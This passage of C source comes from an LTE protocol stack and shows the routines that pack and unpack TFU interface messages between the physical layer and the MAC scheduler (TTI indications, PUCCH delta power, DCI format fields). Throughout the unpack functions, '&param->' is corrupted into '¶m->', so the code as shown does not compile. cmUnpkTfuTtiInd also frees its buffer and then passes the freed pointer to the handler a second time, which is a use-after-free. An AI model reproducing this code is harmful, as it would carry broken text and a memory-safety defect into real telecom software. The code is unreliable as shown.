#else
PUBLIC S16 cmUnpkTfuTtiInd(func, pst, mBuf)
TfuTtiInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuTtiIndInfo *ttiInd;
TRC3(cmUnpkTfuTtiInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU109, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
if ((SGetSBuf(pst->region, pst->pool, (Data **)&ttiInd, sizeof(TfuTtiIndInfo))) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU110, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuTtiIndInfo(ttiInd, mBuf) != ROK) {
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU111, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&ttiInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
/* [ccpu00141698]-MOD- MAC/SCH does not free the TTI ind anymore */
(*func)(pst, suId, ttiInd);
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
RETVALUE((*func)(pst, suId, ttiInd));
}
#if defined(TENB_T2K3K_SPECIFIC_CHANGES) && defined(LTE_TDD)
/***********************************************************
*
* Func : cmPkTfuNonRtInd
*
*
* Desc : This API is the Non-Rt indication from CL to MAC .
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuNonRtInd
(
Pst * pst,
SuId suId
)
#else
PUBLIC S16 cmPkTfuNonRtInd(pst, suId)
Pst * pst;
SuId suId;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuNonRtInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU105, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU107, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
pst->event = (Event) EVTTFUNONRTIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuNonRtInd
*
*
* Desc : This API is the Non Rt indication from PHY to MAC .
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuNonRtInd
(
TfuNonRtInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuNonRtInd(func, pst, mBuf)
TfuNonRtInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TRC3(cmUnpkTfuNonRtInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU109, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId));
}
#endif
/***********************************************************
*
* Func : cmPkTfuSchTtiInd
*
*
* Desc : This API is the TTI indication from PHY to scheduler.
* @details This primitive provides the timing information (SFN and subframe)
* which is currently running on the physical layer.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param ttiInd Pointer to the TfuTtiIndInfo.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSchTtiInd
(
Pst * pst,
SuId suId,
TfuTtiIndInfo * ttiInd
)
#else
PUBLIC S16 cmPkTfuSchTtiInd(pst, suId, ttiInd)
Pst * pst;
SuId suId;
TfuTtiIndInfo * ttiInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuSchTtiInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU112, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuTtiIndInfo(ttiInd, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU113, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)ttiInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU114, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
if (SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU115, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
pst->event = (Event) EVTTFUSCHTTIIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuSchTtiInd
*
*
* Desc : This API is the TTI indication from PHY to scheduler.
* @details This primitive provides the timing information (SFN and subframe)
* which is currently running on the physical layer.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param ttiInd Pointer to the TfuTtiIndInfo.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSchTtiInd
(
TfuSchTtiInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSchTtiInd(func, pst, mBuf)
TfuSchTtiInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuTtiIndInfo *ttiInd;
TRC3(cmUnpkTfuSchTtiInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU116, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
if ((SGetSBuf(pst->region, pst->pool, (Data **)&ttiInd, sizeof(TfuTtiIndInfo))) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU117, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuTtiIndInfo(ttiInd, mBuf) != ROK) {
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU118, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&ttiInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
/* [ccpu00141698]-MOD- MAC/SCH does not free the TTI ind anymore */
(*func)(pst, suId, ttiInd);
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuPucchDeltaPwr
*
*
* Desc : This Primitive is used to convey PUCCH Delta power calculated by the
* Physical layer.
* This information is utilized by Scheduler for power control.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param Pointer to the TfuPucchDeltaPwrIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuPucchDeltaPwr
(
Pst * pst,
SuId suId,
TfuPucchDeltaPwrIndInfo * pucchDeltaPwr
)
#else
PUBLIC S16 cmPkTfuPucchDeltaPwr(pst, suId, pucchDeltaPwr)
Pst * pst;
SuId suId;
TfuPucchDeltaPwrIndInfo * pucchDeltaPwr;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuPucchDeltaPwr)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU119, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)pucchDeltaPwr, sizeof(TfuPucchDeltaPwrIndInfo));
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuPucchDeltaPwrIndInfo(pucchDeltaPwr, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU120, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(pucchDeltaPwr);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)pucchDeltaPwr, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(pucchDeltaPwr);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU121, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(pucchDeltaPwr);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(pucchDeltaPwr);
}
pst->event = (Event) EVTTFUPUCCHDELPWR;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuPucchDeltaPwr
*
*
* Desc : This Primitive is used to convey PUCCH Delta power calculated by the
* Physical layer.
* This information is utilized by Scheduler for power control.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param Pointer to the TfuPucchDeltaPwrIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuPucchDeltaPwr
(
TfuPucchDeltaPwrInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuPucchDeltaPwr(func, pst, mBuf)
TfuPucchDeltaPwrInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuPucchDeltaPwrIndInfo *pucchDeltaPwr;
TRC3(cmUnpkTfuPucchDeltaPwr)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU122, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuPucchDeltaPwrIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&pucchDeltaPwr)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU123, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuPucchDeltaPwrIndInfo(pucchDeltaPwr, (Ptr)&pucchDeltaPwr->memCp, mBuf) != ROK) {
TFU_FREE_MEM(pucchDeltaPwr);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU124, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&pucchDeltaPwr, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(pucchDeltaPwr);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, pucchDeltaPwr));
}
/***********************************************************
*
* Func : cmPkTfuDciFormat0Info
*
*
* Desc : This structure contains the information needed to convey DCI format 0.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat0Info
(
TfuDciFormat0Info *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat0Info(param, mBuf)
TfuDciFormat0Info *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat0Info)
/* tfu_c_001.main_3: Adding pack for hqProcId */
CMCHKPK(SPkU8, param->hqProcId, mBuf);
CMCHKPK(SPkU8, param->txAntenna, mBuf);
CMCHKPK(SPkU8, param->numCqiBit, mBuf);
CMCHKPK(SPkU8, param->cqiReq, mBuf);
CMCHKPK(SPkU8, param->nDmrs, mBuf);
#ifdef TFU_TDD
CMCHKPK(SPkU8, param->dai, mBuf);
CMCHKPK(SPkU8, param->ulIdx, mBuf);
#endif
CMCHKPK(SPkU8, param->tpcCmd, mBuf);
CMCHKPK(SPkU8, param->ndi, mBuf);
CMCHKPK(SPkU8, param->mcs, mBuf);
CMCHKPK(SPkU8, param->hoppingBits, mBuf);
/* tfu_c_001.main_7. Added changes of TFU_UPGRADE */
#ifdef TFU_UPGRADE
CMCHKPK(SPkU32, param->riv, mBuf);
#endif
CMCHKPK(SPkU8, param->numRb, mBuf);
CMCHKPK(SPkU8, param->rbStart, mBuf);
CMCHKPK(SPkU8, param->hoppingEnbld, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat0Info
*
*
* Desc : This structure contains the information needed to convey DCI format 0.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat0Info
(
TfuDciFormat0Info *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat0Info(param, mBuf)
TfuDciFormat0Info *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat0Info)
CMCHKUNPK(SUnpkU8, ¶m->hoppingEnbld, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rbStart, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numRb, mBuf);
#ifdef TFU_UPGRADE
CMCHKUNPK(SUnpkU32, ¶m->riv, mBuf);
#endif /* TFU_UPGRADE */
CMCHKUNPK(SUnpkU8, ¶m->hoppingBits, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->mcs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ndi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->tpcCmd, mBuf);
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU8, ¶m->ulIdx, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->dai, mBuf);
#endif
CMCHKUNPK(SUnpkU8, ¶m->nDmrs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->cqiReq, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numCqiBit, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->txAntenna, mBuf);
/* tfu_c_001.main_3: Adding unpack for hqProcId */
CMCHKUNPK(SUnpkU8, ¶m->hqProcId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuAllocMapOrRiv
*
*
* Desc : This Structure could either contain a resource allocation bit map OR a
* RIV Value as defined in 213 - 7.1.6.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuAllocMapOrRiv
(
TfuAllocMapOrRiv *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuAllocMapOrRiv(param, mBuf)
TfuAllocMapOrRiv *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuAllocMapOrRiv)
switch(param->type) {
/*tfu_c_001.main_7 - ADD - TFU_RESMAP_CHANGE support */
#ifdef TFU_RESMAP_CHANGE
case UnKnown:
CMCHKPK(cmPkTfuAllocMap, ¶m->u.allocMap, mBuf);
break;
#endif
/*tfu_c_001.main_7 - ADD - TFU_RESMAP_CHANGE support */
#ifndef TFU_RESMAP_CHANGE
case TFU_ALLOC_TYPE_MAP:
for (i=TFU_MAX_ALLOC_BYTES-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->u.resAllocMap[i], mBuf);
}
break;
#endif
case TFU_ALLOC_TYPE_RIV:
CMCHKPK(SPkU32, param->u.riv, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->type, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuAllocMapOrRiv
*
*
* Desc : This Structure could either contain a resource allocation bit map OR a
* RIV Value as defined in 213 - 7.1.6.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuAllocMapOrRiv
(
TfuAllocMapOrRiv *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuAllocMapOrRiv(param, mBuf)
TfuAllocMapOrRiv *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuAllocMapOrRiv)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->type, mBuf);
switch(param->type) {
case TFU_ALLOC_TYPE_RIV:
CMCHKUNPK(SUnpkU32, ¶m->u.riv, mBuf);
break;
/*tfu_c_001.main_7 - ADD - TFU_RESMAP_CHANGE support */
#ifndef TFU_RESMAP_CHANGE
case TFU_ALLOC_TYPE_MAP:
for (i=0; i<TFU_MAX_ALLOC_BYTES; i++) {
CMCHKUNPK(SUnpkU8, ¶m->u.resAllocMap[i], mBuf);
}
break;
#endif
/*tfu_c_001.main_7 - ADD - TFU_RESMAP_CHANGE support */
#ifdef TFU_RESMAP_CHANGE
case UnKnown:
CMCHKUNPK(cmUnpkTfuAllocMap, ¶m->u.allocMap, mBuf);
break;
#endif
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat1AllocInfo
*
*
* Desc : This structure contains only the allocation information, thats part
* of DCI format 1.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink Data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat1Info
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat1AllocInfo
(
TfuDciFormat1AllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat1AllocInfo(param, mBuf)
TfuDciFormat1AllocInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuDciFormat1AllocInfo)
CMCHKPK(SPkU8, param->rv, mBuf);
CMCHKPK(SPkU8, param->mcs, mBuf);
CMCHKPK(SPkU8, param->ndi, mBuf);
CMCHKPK(SPkU8, param->harqProcId, mBuf);
for (i=TFU_MAX_ALLOC_BYTES-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->resAllocMap[i], mBuf);
}
CMCHKPK(SPkU8, param->isAllocType0, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat1AllocInfo
*
*
* Desc : This structure contains only the allocation information, thats part
* of DCI format 1.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink Data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat1Info
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat1AllocInfo
(
TfuDciFormat1AllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat1AllocInfo(param, mBuf)
TfuDciFormat1AllocInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuDciFormat1AllocInfo)
CMCHKUNPK(SUnpkU8, ¶m->isAllocType0, mBuf);
for (i=0; i<TFU_MAX_ALLOC_BYTES; i++) {
CMCHKUNPK(SUnpkU8, ¶m->resAllocMap[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->harqProcId, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ndi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->mcs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rv, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat1Info
*
*
* Desc : This structure contains the information needed to convey DCI format 1.
* @details Allocation information is separated from the other control
* information carried in this format. This separation is needed as Data shall
* also carry some control information, essentially allocation information,
* along with it, in order to aid physical layer processing of the data.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat1Info
(
TfuDciFormat1Info *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat1Info(param, mBuf)
TfuDciFormat1Info *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat1Info)
CMCHKPK(SPkU8, param->tpcCmd, mBuf);
#ifdef TFU_TDD
CMCHKPK(SPkU8, param->dai, mBuf);
#endif
CMCHKPK(cmPkTfuDciFormat1AllocInfo, ¶m->allocInfo, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat1Info
*
*
* Desc : This structure contains the information needed to convey DCI format 1.
* @details Allocation information is separated from the other control
* information carried in this format. This separation is needed as Data shall
* also carry some control information, essentially allocation information,
* along with it, in order to aid physical layer processing of the data.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat1Info
(
TfuDciFormat1Info *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat1Info(param, mBuf)
TfuDciFormat1Info *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat1Info)
CMCHKUNPK(cmUnpkTfuDciFormat1AllocInfo, ¶m->allocInfo, mBuf);
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU8, ¶m->dai, mBuf);
#endif
CMCHKUNPK(SUnpkU8, ¶m->tpcCmd, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat2AAllocInfo
*
*
* Desc : This structure contains only the allocation information, that is part
* of DCI format 2A.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat2AInfo
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat2AAllocInfo
(
TfuDciFormat2AAllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat2AAllocInfo(param, mBuf)
TfuDciFormat2AAllocInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuDciFormat2AAllocInfo)
CMCHKPK(SPkU8, param->transSwap, mBuf);
CMCHKPK(SPkU8, param->precoding, mBuf);
for (i=1; i >= 0; i--) {
CMCHKPK(cmPkTfuDciFormatTbInfo, ¶m->tbInfo[i], mBuf);
}
CMCHKPK(SPkU8, param->harqProcId, mBuf);
for (i=TFU_MAX_ALLOC_BYTES-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->resAllocMap[i], mBuf);
}
CMCHKPK(SPkU8, param->isAllocType0, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat2AAllocInfo
*
*
* Desc : This structure contains only the allocation information, that is part
* of DCI format 2A.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat2AInfo
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat2AAllocInfo
(
TfuDciFormat2AAllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat2AAllocInfo(param, mBuf)
TfuDciFormat2AAllocInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuDciFormat2AAllocInfo)
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
